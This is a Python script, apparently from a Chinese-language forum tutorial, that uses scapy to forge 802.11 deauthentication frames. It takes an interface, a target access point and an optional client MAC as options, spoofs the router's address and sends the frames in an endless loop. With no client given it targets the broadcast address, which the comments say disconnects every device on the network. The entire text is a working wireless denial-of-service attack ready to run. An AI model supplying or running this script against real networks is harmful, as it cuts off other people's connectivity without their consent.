[Python] 纯文本查看 复制代码#coding:utf-8
import sys
from scapy.all import *
from optparse import OptionParser#这个我不讲,因为不是本章重点,请自行百度
usage="Usage:%prog -i interface -t packet-type -a bssid -c client-MAC(optional)"
parser=OptionParser(usage)
parser.add_option('-i',dest="interface",help="network card")
parser.add_option('-t',dest="type",help="the reason for the termination code,0-9(optional)")
parser.add_option('-a',dest="bssid",help="the Access Point you want to attack")
parser.add_option('-c',dest="c_mac",help="the client's MAC address(optional)")
(options,args) = parser.parse_args()
if len(sys.argv) < 2:
parser.print_help()
sys.exit(0)
elif options.interface is None or \
options.bssid is None:
parser.print_help()
sys.exit()
c_mac = options.c_mac
t_type = options.type
iface = options.interface
bssid = options.bssid
if t_type == None:
t_type = 0
if c_mac == None:
c_mac = "ff:ff:ff:ff:ff:ff".upper()#如果用户没有输入地址,就赋值为广播地址(让连接WiFi的全部断网)
pkt = RadioTap()/\
Dot11(subtype=0x00c,addr1=c_mac,addr2=bssid,addr3=bssid)/\#addr1为最终要到达的地址,addr2为来源地址这伪造成路由器MAC,addr3就不说了,subtype为0x00c代表为Deauth数据包
Dot11Deauth(reason=int(t_type))#定义为什么会断线
while True:
sendp(pkt,iface=iface)#无限发送数据包